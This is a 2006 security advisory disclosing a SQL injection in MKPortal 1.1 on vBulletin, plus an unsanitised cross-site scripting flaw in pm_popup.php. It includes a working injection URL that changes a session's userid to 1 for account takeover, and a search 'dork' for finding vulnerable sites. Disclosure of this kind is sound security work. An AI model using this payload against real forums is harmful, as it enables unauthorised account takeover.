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vBulletin <= 3.5.4 with MKPortal 1.1 Remote SQL Injection Vulnerability.
From: "Mustafa Can Bjorn IPEKCI" <nukedx () nukedx com>
Date: Sat, 22 Apr 2006 00:52:58 +0300

--Security Report--
Advisory: vBulletin <= 3.5.4 with MKPortal 1.1 Remote SQL Injection 
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
Date: 21/04/06 22:36 PM
ICQ: 10072
MSN/Email: nukedx () nukedx com
Web: http://www.nukedx.com
Vendor: MKPortal (http://www.mkportal.it/)
Version: 1.1 RC1 and prior versions must be affected. (Runs on vBulletin!)
About: Via this methods remote attacker can inject arbitrary SQL queries to 
ind parameter in index.php of MKPortal.
Vulnerable code can be found in the file 
mkportal/include/VB/vb_board_functions.php at line 35-37, as you can see it 
easy to
by pass this SQL update function.
Also there is cross-site scripting vulnerability in pm_popup.php the 
parameters u1,m1,m2,m3,m4 did not sanitized properly.
Level: Critical
SQL Injection :

GET -> http://[victim]/[mkportaldir]/index.php?ind=[SQL]
EXAMPLE -> http://[victim]/[mkportaldir]/index.php?ind=',userid='1
So with this example remote attacker updates his session's userid to 1 and 
after refreshing the page he can logs as userid 1.

GET -> 


* 21/04/2006: Vulnerability found.
* 21/04/2006: Contacted with vendor and waiting reply.
Dorks: "MKPortal 1.1 RC1"
Original advisory can be found at: http://www.nukedx.com/?viewdoc=26

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